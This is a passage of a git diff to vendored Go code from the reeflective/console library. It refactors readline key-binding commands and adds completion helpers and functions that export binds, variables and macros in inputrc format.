+ }
- // Query binds for function
- case cmd.Flags().Changed("query"):
- binds := shell.Config.Binds[keymap]
- if binds == nil {
- return nil
- }
-
- command, _ := cmd.Flags().GetString("query")
-
- // Make a list of all sequences bound to each command.
- cmdBinds := make([]string, 0)
-
- for key, bind := range binds {
- if bind.Action != command {
- continue
- }
-
- cmdBinds = append(cmdBinds, inputrc.Escape(key))
- }
-
- sort.Strings(cmdBinds)
-
- switch {
- case len(cmdBinds) == 0:
- case len(cmdBinds) > 5:
- var firstBinds []string
-
- for i := 0; i < 5; i++ {
- firstBinds = append(firstBinds, "\""+cmdBinds[i]+"\"")
- }
+ // 3 - CREATE NEw BINDS -----------------------------------------------
- bindsStr := strings.Join(firstBinds, ", ")
- fmt.Printf("%s can be found on %s ...\n", command, bindsStr)
+ // Bind actions.
+ // Some keymaps are aliases of others, so use either
+ // all equivalents or fallback to the relevant keymap.
+ if len(args) < 2 {
+ return errors.New("Usage: bind [-m keymap] [keyseq] [command]")
+ }
- default:
- var firstBinds []string
+ // The key sequence is an escaped string, so unescape it.
+ seq := inputrc.Unescape(args[0])
- for _, bind := range cmdBinds {
- firstBinds = append(firstBinds, "\""+bind+"\"")
- }
+ var found bool
- bindsStr := strings.Join(firstBinds, ", ")
- fmt.Printf("%s can be found on %s\n", command, bindsStr)
+ for command := range shell.Keymap.Commands() {
+ if command == args[1] {
+ found = true
+ break
}
-
- return nil
-
- // case cmd.Flags().Changed("execute-rc"):
- // return nil
}
- // Bind actions.
- // Some keymaps are aliases of others, so use either all equivalents or fallback to the relevant keymap.
- switch {
- case cmd.Flags().Changed("unbind"):
- command, _ := cmd.Flags().GetString("unbind")
-
- unbind := func(keymap string) {
- binds := shell.Config.Binds[keymap]
- if binds == nil {
- return
- }
-
- cmdBinds := make([]string, 0)
-
- for key, bind := range binds {
- if bind.Action != command {
- continue
- }
-
- cmdBinds = append(cmdBinds, key)
- }
-
- for _, key := range cmdBinds {
- delete(binds, key)
- }
- }
-
- applyToKeymap(keymap, unbind)
-
- case cmd.Flags().Changed("remove"):
- seq, _ := cmd.Flags().GetString("remove")
-
- removeBind := func(keymap string) {
- binds := shell.Config.Binds[keymap]
- if binds == nil {
- return
- }
-
- cmdBinds := make([]string, 0)
-
- for key := range binds {
- if key != seq {
- continue
- }
-
- cmdBinds = append(cmdBinds, key)
- }
-
- for _, key := range cmdBinds {
- delete(binds, key)
- }
- }
+ if !found {
+ return fmt.Errorf("Unknown command: %s", args[1])
+ }
- applyToKeymap(keymap, removeBind)
+ // If the keymap doesn't exist, create it.
+ if shell.Config.Binds[keymap] == nil {
+ shell.Config.Binds[keymap] = make(map[string]inputrc.Bind)
+ }
- case cmd.Flags().Changed("file"):
- fileF, _ := cmd.Flags().GetString("file")
+ // Adjust some keymaps (aliases of each other).
+ bindkey := func(keymap string) {
+ shell.Config.Binds[keymap][seq] = inputrc.Bind{Action: args[1]}
+ }
- file, err := os.Stat(fileF)
- if err != nil {
- return err
- }
+ // (Bind the key sequence to the command)
+ applyToKeymap(keymap, bindkey)
- if err = inputrc.ParseFile(file.Name(), shell.Config, shell.Opts...); err != nil {
- return err
- }
+ return nil
+ }
- fmt.Printf("Read %s\n", file.Name())
- // case cmd.Flags().Changed("execute"):
+ return cmd
+}
- // Else if sufficient arguments, bind the key sequence to the command.
- default:
- if len(args) < 2 {
- return errors.New("Usage: bind [-m keymap] [keyseq] [command]")
- }
+//
+// Binding & Unbinding functions ---------------------------------
+//
- // The key sequence is an escaped string, so unescape it.
- seq := inputrc.Unescape(args[0])
+func readFileConfig(sh *readline.Shell, cmd *cobra.Command, _ string) error {
+ fileF, _ := cmd.Flags().GetString("file")
- var found bool
+ file, err := os.Stat(fileF)
+ if err != nil {
+ return err
+ }
- for command := range shell.Keymap.Commands() {
- if command == args[1] {
- found = true
- break
- }
- }
+ if err = inputrc.ParseFile(file.Name(), sh.Config, sh.Opts...); err != nil {
+ return err
+ }
- if !found {
- return fmt.Errorf("Unknown command: %s", args[1])
- }
+ fmt.Printf("Read and parsed %s\n", file.Name())
- // If the keymap doesn't exist, create it.
- if shell.Config.Binds[keymap] == nil {
- shell.Config.Binds[keymap] = make(map[string]inputrc.Bind)
- }
+ return nil
+}
- // Adjust some keymaps (aliases of each other).
- bindkey := func(keymap string) {
- shell.Config.Binds[keymap][seq] = inputrc.Bind{Action: args[1]}
- }
+func unbindKeys(sh *readline.Shell, cmd *cobra.Command, keymap string) {
+ command, _ := cmd.Flags().GetString("unbind")
- // (Bind the key sequence to the command.)
- applyToKeymap(keymap, bindkey)
+ unbind := func(keymap string) {
+ binds := sh.Config.Binds[keymap]
+ if binds == nil {
+ return
}
- return nil
- }
-
- // *** Completions ***
- comps := carapace.Gen(cmd)
- flagComps := make(carapace.ActionMap)
+ cmdBinds := make([]string, 0)
- // Flags
- flagComps["keymap"] = carapace.ActionCallback(func(c carapace.Context) carapace.Action {
- results := make([]string, 0)
+ for key, bind := range binds {
+ if bind.Action != command {
+ continue
+ }
- for name := range shell.Config.Binds {
- results = append(results, name)
+ cmdBinds = append(cmdBinds, key)
}
- return carapace.ActionValues(results...).Tag("keymaps").Usage("keymap")
- })
-
- functionsComps := carapace.ActionCallback(func(c carapace.Context) carapace.Action {
- results := make([]string, 0)
-
- for name := range shell.Keymap.Commands() {
- results = append(results, name)
+ for _, key := range cmdBinds {
+ delete(binds, key)
}
+ }
- return carapace.ActionValues(results...).Tag("commands").Usage("command")
- })
-
- bindSequenceComps := carapace.ActionCallback(func(ctx carapace.Context) carapace.Action {
- // Get the keymap.
- var keymap string
-
- if cmd.Flags().Changed("keymap") {
- keymap, _ = cmd.Flags().GetString("keymap")
- }
+ applyToKeymap(keymap, unbind)
+}
- if keymap == "" {
- keymap = string(shell.Keymap.Main())
- }
+func removeCommands(sh *readline.Shell, cmd *cobra.Command, keymap string) {
+ seq, _ := cmd.Flags().GetString("remove")
- // Get the binds.
- binds := shell.Config.Binds[keymap]
+ removeBind := func(keymap string) {
+ binds := sh.Config.Binds[keymap]
if binds == nil {
- return carapace.ActionValues().Usage("sequence")
+ return
}
- // Make a list of all sequences bound to each command, with descriptions.
cmdBinds := make([]string, 0)
- insertBinds := make([]string, 0)
- for key, bind := range binds {
- if bind.Action == "self-insert" {
- insertBinds = append(insertBinds, "\""+inputrc.Escape(key)+"\"")
- } else {
- cmdBinds = append(cmdBinds, "\""+inputrc.Escape(key)+"\"")
- cmdBinds = append(cmdBinds, bind.Action)
+ for key := range binds {
+ if key != seq {
+ continue
}
- }
-
- return carapace.Batch(
- carapace.ActionValues(insertBinds...).Tag(fmt.Sprintf("self-insert binds (%s)", keymap)).Usage("sequence"),
- carapace.ActionValuesDescribed(cmdBinds...).Tag(fmt.Sprintf("non-insert binds (%s)", keymap)).Usage("sequence"),
- ).ToA()
- })
-
- flagComps["query"] = functionsComps
- flagComps["unbind"] = functionsComps
- flagComps["file"] = carapace.ActionFiles()
- flagComps["remove"] = bindSequenceComps
-
- comps.FlagCompletion(flagComps)
-
- // Positional arguments
- comps.PositionalCompletion(
- carapace.ActionValues().Usage("sequence"),
- functionsComps,
- )
-
- return cmd
-}
-func applyToKeymap(keymap string, bind func(keymap string)) {
- switch keymap {
- case "emacs", "emacs-standard":
- for _, km := range []string{"emacs", "emacs-standard"} {
- bind(km)
+ cmdBinds = append(cmdBinds, key)
}
- case "emacs-ctlx":
- for _, km := range []string{"emacs-ctlx", "emacs-standard", "emacs"} {
- bind(km)
- }
- case "emacs-meta":
- for _, km := range []string{"emacs-meta", "emacs-standard", "emacs"} {
- bind(km)
- }
- case "vi", "vi-move", "vi-command":
- for _, km := range []string{"vi", "vi-move", "vi-command"} {
- bind(km)
+
+ for _, key := range cmdBinds {
+ delete(binds, key)
}
- default:
- bind(keymap)
}
+
+ applyToKeymap(keymap, removeBind)
}
diff --git a/vendor/github.com/reeflective/console/commands/readline/commands.go b/vendor/github.com/reeflective/console/commands/readline/commands.go
index e3ec1bf03b..cb89c6c650 100644
--- a/vendor/github.com/reeflective/console/commands/readline/commands.go
+++ b/vendor/github.com/reeflective/console/commands/readline/commands.go
@@ -1,8 +1,9 @@
package readline
import (
- "github.com/reeflective/readline"
"github.com/spf13/cobra"
+
+ "github.com/reeflective/readline"
)
// Commands returns a command named `readline`, with subcommands dedicated
diff --git a/vendor/github.com/reeflective/console/commands/readline/completers.go b/vendor/github.com/reeflective/console/commands/readline/completers.go
new file mode 100644
index 0000000000..d199852cad
--- /dev/null
+++ b/vendor/github.com/reeflective/console/commands/readline/completers.go
@@ -0,0 +1,127 @@
+package readline
+
+/*
+ console - Closed-loop console application for cobra commands
+ Copyright (C) 2023 Reeflective
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
+*/
+
+import (
+ "fmt"
+
+ "github.com/rsteube/carapace"
+ "github.com/spf13/cobra"
+
+ "github.com/reeflective/readline"
+ "github.com/reeflective/readline/inputrc"
+)
+
+func completeKeymaps(sh *readline.Shell, _ *cobra.Command) carapace.Action {
+ return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
+ results := make([]string, 0)
+
+ for name := range sh.Config.Binds {
+ results = append(results, name)
+ }
+
+ return carapace.ActionValues(results...).Tag("keymaps").Usage("keymap")
+ })
+}
+
+func completeBindSequences(sh *readline.Shell, cmd *cobra.Command) carapace.Action {
+ return carapace.ActionCallback(func(ctx carapace.Context) carapace.Action {
+ // Get the keymap.
+ var keymap string
+
+ if cmd.Flags().Changed("keymap") {
+ keymap, _ = cmd.Flags().GetString("keymap")
+ }
+
+ if keymap == "" {
+ keymap = string(sh.Keymap.Main())
+ }
+
+ // Get the binds.
+ binds := sh.Config.Binds[keymap]
+ if binds == nil {
+ return carapace.ActionValues().Usage("sequence")
+ }
+
+ // Make a list of all sequences bound to each command, with descriptions.
+ var cmdBinds, insertBinds []string
+
+ for key, bind := range binds {
+ val := inputrc.Escape(key)
+
+ if bind.Action == "self-insert" {
+ insertBinds = append(insertBinds, val)
+ } else {
+ cmdBinds = append(cmdBinds, val)
+ cmdBinds = append(cmdBinds, bind.Action)
+ }
+ }
+
+ // Build the list of bind sequences bompletions
+ completions := carapace.Batch(
+ carapace.ActionValues(insertBinds...).Tag(fmt.Sprintf("self-insert binds (%s)", keymap)).Usage("sequence"),
+ carapace.ActionValuesDescribed(cmdBinds...).Tag(fmt.Sprintf("non-insert binds (%s)", keymap)).Usage("sequence"),
+ ).ToA().Suffix("\"")
+
+ // We're lucky and be particularly cautious about completion here:
+ // Look for the current argument and check whether or not it's quoted.
+ // If yes, only include quotes at the end of the inserted value.
+ // If no quotes, include them in both.
+ if ctx.Value == "" {
+ completions = completions.Prefix("\"")
+ }
+
+ return completions
+ })
+}
+
+func completeCommands(sh *readline.Shell, _ *cobra.Command) carapace.Action {
+ return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
+ results := make([]string, 0)
+
+ for name := range sh.Keymap.Commands() {
+ results = append(results, name)
+ }
+
+ return carapace.ActionValues(results...).Tag("commands").Usage("command")
+ })
+}
+
+func applyToKeymap(keymap string, bind func(keymap string)) {
+ switch keymap {
+ case "emacs", "emacs-standard":
+ for _, km := range []string{"emacs", "emacs-standard"} {
+ bind(km)
+ }
+ case "emacs-ctlx":
+ for _, km := range []string{"emacs-ctlx", "emacs-standard", "emacs"} {
+ bind(km)
+ }
+ case "emacs-meta":
+ for _, km := range []string{"emacs-meta", "emacs-standard", "emacs"} {
+ bind(km)
+ }
+ case "vi", "vi-move", "vi-command":
+ for _, km := range []string{"vi", "vi-move", "vi-command"} {
+ bind(km)
+ }
+ default:
+ bind(keymap)
+ }
+}
diff --git a/vendor/github.com/reeflective/console/commands/readline/config.go b/vendor/github.com/reeflective/console/commands/readline/config.go
new file mode 100644
index 0000000000..b435dc66db
--- /dev/null
+++ b/vendor/github.com/reeflective/console/commands/readline/config.go
@@ -0,0 +1,54 @@
+package readline
+
+/*
+ console - Closed-loop console application for cobra commands
+ Copyright (C) 2023 Reeflective
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
+*/
+
+import (
+ "fmt"
+ "strings"
+)
+
+// manages display of .inputrc-compliant listings/snippets.
+type cfgBuilder struct {
+ buf *strings.Builder
+ names []string
+}
+
+// Write writes a single inputrc line with the appropriate contextual indent.
+func (cfg *cfgBuilder) Write(data []byte) (int, error) {
+ indent := strings.Repeat(" ", 4*len(cfg.names))
+
+ iLen, _ := cfg.buf.Write([]byte(indent))
+ bLen, err := cfg.buf.Write(data)
+
+ return iLen + bLen, err
+}
+
+func (cfg *cfgBuilder) newCond(name string) {
+ cfg.Write([]byte(fmt.Sprintf("$if %s\n", name)))
+ cfg.names = append(cfg.names, name)
+}
+
+func (cfg *cfgBuilder) endCond() {
+ if len(cfg.names) == 0 {
+ return
+ }
+
+ cfg.names = cfg.names[:len(cfg.names)-1]
+ cfg.Write([]byte("$endif\n"))
+}
diff --git a/vendor/github.com/reeflective/console/commands/readline/export.go b/vendor/github.com/reeflective/console/commands/readline/export.go
new file mode 100644
index 0000000000..25ff043997
--- /dev/null
+++ b/vendor/github.com/reeflective/console/commands/readline/export.go
@@ -0,0 +1,389 @@
+package readline
+
+/*
+ console - Closed-loop console application for cobra commands
+ Copyright (C) 2023 Reeflective
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
+*/
+
+import (
+ "fmt"
+ "sort"
+ "strings"
+
+ "github.com/spf13/cobra"
+
+ "github.com/reeflective/readline"
+ "github.com/reeflective/readline/inputrc"
+)
+
+const (
+ printOn = "on"
+ printOff = "off"
+)
+
+// listVars prints the readline global option variables in human-readable format.
+func listVars(shell *readline.Shell, buf *cfgBuilder, cmd *cobra.Command) {
+ var vars map[string]interface{}
+
+ // Apply other filters to our current list of vars.
+ if cmd.Flags().Changed("changed") {
+ vars = cfgChanged.Vars
+ } else {
+ vars = shell.Config.Vars
+ }
+
+ if len(vars) == 0 {
+ return
+ }
+
+ variables := make([]string, len(shell.Config.Vars))
+
+ for variable := range shell.Config.Vars {
+ variables = append(variables, variable)
+ }
+
+ sort.Strings(variables)
+
+ fmt.Fprintln(buf)
+ fmt.Fprintln(buf, "======= Global Variables =========")
+ fmt.Fprintln(buf)
+
+ for _, variable := range variables {
+ value := shell.Config.Vars[variable]
+ if value == nil || variable == "" {
+ continue
+ }
+
+ fmt.Fprintf(buf, "%s is set to `%v'\n", variable, value)
+ }
+}
+
+// listVarsRC returns the readline global options, split according to which are
+// supported by which library, and output in .inputrc compliant format.
+func listVarsRC(shell *readline.Shell, buf *cfgBuilder, cmd *cobra.Command) {
+ var vars map[string]interface{}
+
+ // Apply other filters to our current list of vars.
+ if cmd.Flags().Changed("changed") {
+ vars = cfgChanged.Vars
+ } else {
+ vars = shell.Config.Vars
+ }
+
+ if len(vars) == 0 {
+ return
+ }
+
+ // Include print all legacy options.
+ // Filter them in a separate groups only if NOT being used with --app/--lib
+ if !cmd.Flags().Changed("app") && !cmd.Flags().Changed("lib") {
+ var legacy []string
+ for variable := range filterLegacyVars(vars) {
+ legacy = append(legacy, variable)
+ }
+
+ sort.Strings(legacy)
+
+ fmt.Fprintln(buf, "# General/legacy Options (generated from reeflective/readline)")
+
+ for _, variable := range legacy {
+ value := shell.Config.Vars[variable]
+ var printVal string
+
+ if on, ok := value.(bool); ok {
+ if on {
+ printVal = "on"
+ } else {
+ printVal = "off"
+ }
+ } else {
+ printVal = fmt.Sprintf("%v", value)
+ }
+
+ fmt.Fprintf(buf, "set %s %s\n", variable, printVal)
+ }
+
+ // Now we print the App/lib specific.
+ var reef []string
+
+ for variable := range filterAppLibVars(vars) {
+ reef = append(reef, variable)
+ }
+
+ sort.Strings(reef)
+
+ fmt.Fprintln(buf)
+ fmt.Fprintln(buf, "# reeflective/readline specific options (generated)")
+ fmt.Fprintln(buf, "# The following block is not implemented in GNU C Readline.")
+ buf.newCond("reeflective")
+
+ for _, variable := range reef {
+ value := shell.Config.Vars[variable]
+ var printVal string
+
+ if on, ok := value.(bool); ok {
+ if on {
+ printVal = printOn
+ } else {
+ printVal = printOff
+ }
+ } else {
+ printVal = fmt.Sprintf("%v", value)
+ }
+
+ fmt.Fprintf(buf, "set %s %s\n", variable, printVal)
+ }
+
+ buf.endCond()
+
+ return
+ }
+
+ fmt.Fprintln(buf, "# General options (legacy and reeflective)")
+
+ var all []string
+ for variable := range vars {
+ all = append(all, variable)
+ }
+ sort.Strings(all)
+
+ for _, variable := range all {
+ value := shell.Config.Vars[variable]
+ var printVal string
+
+ if on, ok := value.(bool); ok {
+ if on {
+ printVal = "on"
+ } else {
+ printVal = "off"
+ }
+ } else {
+ printVal = fmt.Sprintf("%v", value)
+ }
+
+ fmt.Fprintf(buf, "set %s %s\n", variable, printVal)
+ }
+}
+
+// listBinds prints the bind sequences for a given keymap,
+// according to command filter flags, in human-readable format.
+func listBinds(shell *readline.Shell, buf *cfgBuilder, cmd *cobra.Command, keymap string) {
+ var binds map[string]inputrc.Bind
+
+ // Apply other filters to our current list of vars.
+ if cmd.Flags().Changed("changed") {
+ binds = cfgChanged.Binds[keymap]
+ } else {
+ binds = shell.Config.Binds[keymap]
+ }
+
+ // Get all the commands, used to sort the displays.
+ commands := make([]string, len(shell.Keymap.Commands()))
+ for command := range shell.Keymap.Commands() {
+ commands = append(commands, command)
+ }
+
+ sort.Strings(commands)
+
+ query, _ := cmd.Flags().GetString("query")
+ mustMatchQuery := query != "" && cmd.Flags().Changed("query")
+
+ // Make a list of all sequences bound to each command.
+ allBinds := make(map[string][]string)
+
+ for _, command := range commands {
+ for key, bind := range binds {
+ if bind.Action != command {
+ continue
+ }
+
+ // If we are querying a specific command
+ if bind.Action != query && mustMatchQuery {
+ continue
+ }
+
+ commandBinds := allBinds[command]
+ commandBinds = append(commandBinds, inputrc.Escape(key))
+ allBinds[command] = commandBinds
+ }
+ }
+
+ if len(commands) == 0 {
+ return
+ }
+
+ fmt.Fprintln(buf)
+ fmt.Fprintf(buf, "===== Command Binds (%s) =======\n", keymap)
+ fmt.Fprintln(buf)
+
+ for _, command := range commands {
+ commandBinds := allBinds[command]
+ sort.Strings(commandBinds)
+
+ switch {
+ case len(commandBinds) == 0:
+ case len(commandBinds) > 5:
+ var firstBinds []string
+
+ for i := 0; i < 5; i++ {
+ firstBinds = append(firstBinds, "\""+commandBinds[i]+"\"")
+ }
+
+ bindsStr := strings.Join(firstBinds, ", ")
+ fmt.Fprintf(buf, "%s can be found on %s ...\n", command, bindsStr)
+
+ default:
+ var firstBinds []string
+
+ for _, bind := range commandBinds {
+ firstBinds = append(firstBinds, "\""+bind+"\"")
+ }
+
+ bindsStr := strings.Join(firstBinds, ", ")
+ fmt.Fprintf(buf, "%s can be found on %s\n", command, bindsStr)
+ }
+ }
+}
+
+// listBindsRC prints the bind sequences for a given keymap,
+// according to command filter flags, in .inputrc compliant format.
+func listBindsRC(shell *readline.Shell, buf *cfgBuilder, cmd *cobra.Command, keymap string) {
+ var binds map[string]inputrc.Bind
+ selfInsert, _ := cmd.Flags().GetBool("self-insert")
+
+ // Apply other filters to our current list of vars.
+ if cmd.Flags().Changed("changed") {
+ binds = cfgChanged.Binds[keymap]
+ } else {
+ binds = shell.Config.Binds[keymap]
+ }
+
+ if len(binds) == 0 {
+ return
+ }
+
+ // Get all the commands, used to sort the displays.
+ commands := make([]string, len(shell.Keymap.Commands()))
+ for command := range shell.Keymap.Commands() {
+ commands = append(commands, command)
+ }
+
+ sort.Strings(commands)
+
+ // Make a list of all sequences bound to each command.
+ allBinds := make(map[string][]string)
+
+ for _, command := range commands {
+ for key, bind := range binds {
+ if bind.Action != command {
+ continue
+ }
+
+ commandBinds := allBinds[command]
+ commandBinds = append(commandBinds, inputrc.Escape(key))
+ allBinds[command] = commandBinds
+ }
+ }
+
+ fmt.Fprintln(buf)
+ fmt.Fprintln(buf, "# Command binds (generated from reeflective/readline)")
+ fmt.Fprintf(buf, "set keymap %s\n\n", keymap)
+
+ for _, command := range commands {
+ commandBinds := allBinds[command]
+ sort.Strings(commandBinds)
+
+ if command == "self-insert" && !selfInsert {
+ continue
+ }
+
+ if len(commandBinds) > 0 {
+ for _, bind := range commandBinds {
+ fmt.Fprintf(buf, "\"%s\": %s\n", bind, command)
+ }
+ }
+ }
+}
+
+// listMacros prints the recorded/existing macros for a given keymap, in human-readable format.
+func listMacros(shell *readline.Shell, buf *cfgBuilder, cmd *cobra.Command, keymap string) {
+ var binds map[string]inputrc.Bind
+
+ // Apply other filters to our current list of vars.
+ if cmd.Flags().Changed("changed") {
+ binds = cfgChanged.Binds[keymap]
+ } else {
+ binds = shell.Config.Binds[keymap]
+ }
+
+ var macroBinds []string
+
+ for keys, bind := range binds {
+ if bind.Macro {
+ macroBinds = append(macroBinds, inputrc.Escape(keys))
+ }
+ }
+
+ if len(macroBinds) == 0 {
+ return
+ }
+
+ sort.Strings(macroBinds)
+
+ fmt.Fprintln(buf)
+ fmt.Fprintf(buf, "====== Macros (%s) ======\n", keymap)
+ fmt.Fprintln(buf)
+
+ for _, key := range macroBinds {
+ action := inputrc.Escape(binds[inputrc.Unescape(key)].Action)
+ fmt.Printf("%s outputs %s\n", key, action)
+ }
+}
+
+// listMacros prints the recorded/existing macros for a given keymap, in .inputrc compliant format.
+func listMacrosRC(shell *readline.Shell, buf *cfgBuilder, cmd *cobra.Command, keymap string) {
+ var binds map[string]inputrc.Bind
+
+ // Apply other filters to our current list of vars.
+ if cmd.Flags().Changed("changed") {
+ binds = cfgChanged.Binds[keymap]
+ } else {
+ binds = shell.Config.Binds[keymap]
+ }
+
+ var macroBinds []string
+
+ for keys, bind := range binds {
+ if bind.Macro {
+ macroBinds = append(macroBinds, inputrc.Escape(keys))
+ }
+ }
+
+ if len(macroBinds) == 0 {
+ return
+ }
+
+ sort.Strings(macroBinds)
+
+ fmt.Fprintln(buf)
+ fmt.Fprintln(buf, "# Macro binds (generated from reeflective/readline)")
+ fmt.Fprintf(buf, "set keymap %s\n\n", keymap)
+
+ for _, key := range macroBinds {
+ action := inputrc.Escape(binds[inputrc.Unescape(key)].Action)
+ fmt.Fprintf(buf, "\"%s\": \"%s\"\n", key, action)
+ }
+}
diff --git a/vendor/github.com/reeflective/console/commands/readline/set.go b/vendor/github.com/reeflective/console/commands/readline/set.go
index 92d2739ea2..53c66ad053 100644
--- a/vendor/github.com/reeflective/console/commands/readline/set.go
+++ b/vendor/github.com/reeflective/console/commands/readline/set.go
@@ -3,13 +3,23 @@ package readline
import (
"errors"
"strconv"
+ "strings"
- "github.com/reeflective/readline"
"github.com/rsteube/carapace"
"github.com/rsteube/carapace/pkg/style"
"github.com/spf13/cobra"
+ "golang.org/x/exp/maps"
+ "golang.org/x/exp/slices"
+
+ "github.com/reeflective/readline"
+ "github.com/reeflective/readline/inputrc"
)
+// We here must assume that all bind changes during the lifetime
+// of the binary are all made by a single readline application.
+// This config only stores the vars/binds that have been changed.
+var cfgChanged = inputrc.NewConfig()
+
// Set returns a command named `set`, for manipulating readline global options.
func Set(shell *readline.Shell) *cobra.Command {
cmd := &cobra.Command{
@@ -45,7 +55,11 @@ func Set(shell *readline.Shell) *cobra.Command {
}
// Set the option.
- return shell.Config.Set(args[0], value)
+ if err = shell.Config.Set(args[0], value); err != nil {
+ return err
+ }
+
+ return cfgChanged.Set(args[0], value)
},
}
@@ -61,11 +75,20 @@ func Set(shell *readline.Shell) *cobra.Command {
}
argComp := func(c carapace.Context) carapace.Action {
- val := c.Args[len(c.Args)-1]
+ val := strings.TrimSpace(c.Args[len(c.Args)-1])
option := shell.Config.Get(val)
if option == nil {
- return carapace.ActionValues()
+ return carapace.ActionMessage("No var named %v", option)
+ }
+
+ switch val {
+ case "cursor-style":
+ return carapace.ActionValues("block", "beam", "underline", "blinking-block", "blinking-underline", "blinking-beam", "default")
+ case "editing-mode":
+ return carapace.ActionValues("vi", "emacs")
+ case "keymap":
+ return completeKeymaps(shell, cmd)
}
switch option.(type) {
@@ -73,8 +96,8 @@ func Set(shell *readline.Shell) *cobra.Command {
return carapace.ActionValues("on", "off", "true", "false").StyleF(style.ForKeyword)
case int:
return carapace.ActionValues().Usage("option value (int)")
- default:
- carapace.ActionValues().Usage("option value (string)")
+ case string:
+ return carapace.ActionValues().Usage("option value (string)")
}
return carapace.ActionValues().Usage("option value")
@@ -87,3 +110,59 @@ func Set(shell *readline.Shell) *cobra.Command {
return cmd
}
+
+// Returns the subset of inputrc variables that are specific
+// to this library and application/binary.
+func filterAppLibVars(cfgVars map[string]interface{}) map[string]interface{} {
+ appVars := make(map[string]interface{})
+
+ defCfg := inputrc.DefaultVars()
+ defVars := maps.Keys(defCfg)
+
+ for name, val := range cfgVars {
+ if slices.Contains(defVars, name) {
+ continue
+ }
+
+ appVars[name] = val
+ }
+
+ return appVars
+}
+
+// Returns the subset of inputrc variables that are specific
+// to this library and application/binary.
+func filterLegacyVars(cfgVars map[string]interface{}) map[string]interface{} {
+ appVars := make(map[string]interface{})
+
+ defCfg := inputrc.DefaultVars()
+ defVars := maps.Keys(defCfg)
+
+ for name, val := range cfgVars {
+ if !slices.Contains(defVars, name) {
+ continue
+ }
+
+ appVars[name] = val
+ }
+
+ return appVars
+}
+
+// Filters out all configuration variables that have not been changed.
+func filterChangedVars(allVars map[string]interface{}) map[string]interface{} {
+ if allVars == nil {
+ return cfgChanged.Vars
+ }
+
+ appVars := make(map[string]interface{})
+ defVars := maps.Keys(appVars)
+
+ for name, val := range allVars {
+ if slices.Contains(defVars, name) {
+ appVars[name] = val
+ }
+ }
+
+ return appVars
+}
diff --git a/vendor/github.com/reeflective/console/tab-completer.go b/vendor/github.com/reeflective/console/completer.go
similarity index 51%
rename from vendor/github.com/reeflective/console/tab-completer.go
rename to vendor/github.com/reeflective/console/completer.go
index 2da490bb65..5d1df57851 100644
--- a/vendor/github.com/reeflective/console/tab-completer.go
+++ b/vendor/github.com/reeflective/console/completer.go
@@ -5,120 +5,87 @@ import (
"errors"
"fmt"
"os"
+ "regexp"
"strings"
+ "unicode"
"unicode/utf8"
- "github.com/reeflective/readline"
"github.com/rsteube/carapace"
"github.com/rsteube/carapace/pkg/style"
+ completer "github.com/rsteube/carapace/pkg/x"
"github.com/rsteube/carapace/pkg/xdg"
+
+ "github.com/reeflective/readline"
)
func (c *Console) complete(line []rune, pos int) readline.Completions {
menu := c.activeMenu()
+ // Ensure the carapace library is called so that the function
+ // completer.Complete() variable is correctly initialized before use.
+ carapace.Gen(menu.Command)
+
// Split the line as shell words, only using
// what the right buffer (up to the cursor)
- rbuffer := line[:pos]
- args, prefix := splitArgs(rbuffer)
- args = sanitizeArgs(rbuffer, args)
+ args, prefixComp, prefixLine := splitArgs(line, pos)
// Prepare arguments for the carapace completer
// (we currently need those two dummies for avoiding a panic).
- args = append([]string{"examples", "_carapace"}, args...)
+ args = append([]string{c.name, "_carapace"}, args...)
// Call the completer with our current command context.
- values, meta := carapace.Complete(menu.Command, args, c.completeCommands(menu))
+ completions, err := completer.Complete(menu.Command, args...)
- // Tranfer all completion results to our readline shell completions.
- raw := make([]readline.Completion, len(values))
+ // The completions are never nil: fill out our own object
+ // with everything it contains, regardless of errors.
+ raw := make([]readline.Completion, len(completions.Values))
- for idx, val := range values {
- value := readline.Completion{
- Value: val.Value,
+ for idx, val := range completions.Values.Decolor() {
+ raw[idx] = readline.Completion{
+ Value: unescapeValue(prefixComp, prefixLine, val.Value),
Display: val.Display,
Description: val.Description,
Style: val.Style,
Tag: val.Tag,
}
- raw[idx] = value
+
+ if !completions.Nospace.Matches(val.Value) {
+ raw[idx].Value = val.Value + " "
+ }
}
// Assign both completions and command/flags/args usage strings.
comps := readline.CompleteRaw(raw)
- comps = comps.Usage(meta.Usage)
+ comps = comps.Usage(completions.Usage)
comps = c.justifyCommandComps(comps)
- // Suffix matchers for the completions if any.
- if meta.Nospace.String() != "" {
- comps = comps.NoSpace([]rune(meta.Nospace.String())...)
- }
-
- // If we have a quote/escape sequence unaccounted
- // for in our completions, add it to all of them.
- if prefix != "" {
- comps = comps.Prefix(prefix)
- }
-
- return comps
-}
-
-func splitArgs(line []rune) (args []string, prefix string) {
- // Split the line as shellwords, return them if all went fine.
- args, remain, err := splitCompWords(string(line))
- if err == nil {
- return args, remain
- }
-
- // If we had an error, it's because we have an unterminated quote/escape sequence.
- // In this case we split the remainder again, as the completer only ever considers
- // words as space-separated chains of characters.
- if errors.Is(err, errUnterminatedDoubleQuote) {
- remain = strings.Trim(remain, "\"")
- prefix = "\""
- } else if errors.Is(err, errUnterminatedSingleQuote) {
- remain = strings.Trim(remain, "'")
- prefix = "'"
+ // If any errors arose from the completion call itself.
+ if err != nil {
